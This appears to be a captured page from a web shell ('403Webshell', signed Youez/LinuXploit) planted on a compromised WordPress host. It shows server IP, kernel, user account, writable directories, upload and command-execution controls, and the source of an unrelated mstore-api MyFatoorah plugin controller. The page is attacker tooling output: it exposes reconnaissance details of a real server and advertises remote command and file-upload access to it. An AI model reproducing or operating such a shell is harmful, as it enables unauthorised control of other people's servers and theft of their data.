403Webshell
Server IP : 192.158.238.246  /  Your IP : 13.59.156.144
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/jenniferflocom/www/wp-content/plugins/mstore-api/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jenniferflocom/www/wp-content/plugins/mstore-api/controllers/flutter-myfatoorah.php
<?php
require_once(__DIR__ . '/flutter-base.php');

/*
 * Base REST Controller for flutter
 *
 * @since 1.4.0
 *
 * @package MyFatoorah
 */

class FlutterMyFatoorah extends FlutterBaseController
{
    /**
     * Endpoint namespace
     *
     * @var string
     */
    protected $namespace = 'api/flutter_myfatoorah';

    /**
     * Register all routes releated with stores
     *
     * @return void
     */
    public function __construct()
    {
        add_action('rest_api_init', array($this, 'register_flutter_myfatoorah_routes'));
    }

    public function register_flutter_myfatoorah_routes()
    {
        register_rest_route($this->namespace, '/myfatoorah_complete', array(
            array(
                'methods' => "GET",
                'callback' => array($this, 'myfatoorah_complete'),
                'permission_callback' => function () {
                    return parent::checkApiPermission();
                }
            ),
        ));

    }

    public function myfatoorah_complete($request)
    {
        if (!is_plugin_active('myfatoorah-woocommerce/myfatoorah-woocommerce.php')) {
            return parent::sendError("invalid_plugin", "You need to install MyFatoorah – WooCommerce plugin to use this api", 404);
        }
        $_GET['oid'] = base64_encode(sanitize_text_field($request['orderId']));
        $_GET['paymentId'] = $request['paymentId'];
        $value = do_action( 'woocommerce_api_myfatoorah_complete' );

        return true;
    }
}

new FlutterMyFatoorah;

Youez - 2016 - github.com/yon3zu
LinuXploit